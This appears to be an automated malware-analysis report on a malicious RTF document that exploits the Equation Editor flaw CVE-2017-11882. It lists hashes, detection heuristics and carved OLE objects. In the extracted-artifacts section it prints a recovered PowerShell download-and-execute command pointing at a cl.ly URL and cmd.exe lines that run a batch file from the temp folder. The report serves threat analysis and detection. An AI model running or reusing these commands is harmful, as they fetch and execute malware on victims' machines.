RTF malware analysis — malicious · 93d7dc9e4e1d4f7c

MALICIOUS

RTF

17.2 KB Authoring application: Riched20 6.3.9600 First seen: 2019-12-09

MD5: 24640a1256802305d02ac4c9fe00eb14 SHA-1: 0188f57ac9fedc72838ffe98d9eb8e0ae21e5788 SHA-256: 93d7dc9e4e1d4f7cb32dd787ca5a74f673dc569039f13e411b1162544424f25d

382 Risk Score

Malware Insights

MITRE ATT&CK

T1203 Exploitation for Client Execution T1566.001 Spearphishing Attachment

The RTF file contains embedded OLE objects and specifically triggers the CVE-2017-11882 vulnerability via the Equation Editor. This exploit allows for the execution of arbitrary code, likely to download and run a secondary payload. The presence of shellcode-related artifacts further supports this attack vector.

Heuristics 10

Equation Editor CLSID critical CVE likely RTF_EQUATION_EDITOR

Equation Editor OLE CLSID found inside an OLE object — exploited by CVE-2017-11882 / CVE-2018-0802 / CVE-2018-0798
CVE-2017-11882 — Equation Editor FONT record overflow critical CVE likely CVE_2017_11882

Equation Editor MTEF contains an overlong FONT typeface field, the vulnerable copy primitive for CVE-2017-11882. This is stronger evidence than the Equation Editor CLSID alone because it identifies the malformed record that drives code execution in EQNEDT32.EXE.
ClamAV: Rtf.Exploit.CVE_2017_11882-6584355-1 critical CLAMAV_DETECTION

ClamAV detected this file as malware: Rtf.Exploit.CVE_2017_11882-6584355-1
Suspicious extracted artifact critical EXTRACTED_FILE_STATIC_TRIAGE

One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
\objupdate forces OLE activation high RTF_OBJUPDATE

RTF contains \objupdate — forces automatic OLE object instantiation when the document is opened, bypassing user interaction. Almost exclusively seen in Equation Editor exploit documents.
Package object class high RTF_OBJCLASS_PACKAGE

OLE Package object — can wrap arbitrary files
OLE object data medium RTF_OBJDATA

RTF contains 3 \objdata section(s) — embedded OLE objects
Embedded OLE object medium RTF_OBJEMB

RTF contains \objemb — embedded OLE object
OlePres presentation stream in RTF OLE object medium RTF_OLEPRES_STREAM

RTF contains an embedded OLE object with an OlePres presentation stream. OlePres is an OLE presentation marker and is not enough on its own to identify CVE-2025-21298.
Embedded URL info EMBEDDED_URL

One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.

URL https://cl.ly/050l3R0c3A23/download/pepi.jpg In RTF body

Extracted artifacts 3

Files carved from inside the sample during analysis.

Filename	Kind	Source	Size
`objdata_00_off000000ef.bin`	rtf-objdata-decoded	RTF \objdata at offset 0xEF	326 bytes
SHA-256: `223f9b6dc99542c3fe54b19238a382dd2227927c9e89bb1c5b86c97622b7e1c6`
Detection ClamAV: No threats found Obfuscation or payload: likely Static shellcode analysis recovered URL(s): https://cl.ly/050l3R0c3A23/download/pepi.jpg Static shellcode analysis recovered command string(s): powershell -nop -c "iEx(New-Object Net.WebClient).DownloadString('https://cl.ly/050l3R0c3A23/download/pepi.jpg')"
`objdata_01_off000003ca.bin`	rtf-objdata-decoded	RTF \objdata at offset 0x3CA	3980 bytes
SHA-256: `3db7a830a08f88fd63d95aed17e1286bcd4cafe02f5c7fffd0d3dd69fb00b02f`
Detection ClamAV: No threats found Obfuscation or payload: likely Static shellcode analysis recovered command string(s): cmd.exe /c%tmp%\hisc.bat &��D$,f-Q��%
`objdata_02_off00002610.bin`	rtf-objdata-decoded	RTF \objdata at offset 0x2610	3546 bytes
SHA-256: `fbd70d08d398dbd2f8d5eb7098a67a4b9b5a3088affd56246f0e25ec553c1f36`
Detection ClamAV: No threats found Obfuscation or payload: likely Static shellcode analysis recovered command string(s): cmd.exe /c%tmp%\hisc.bat AC

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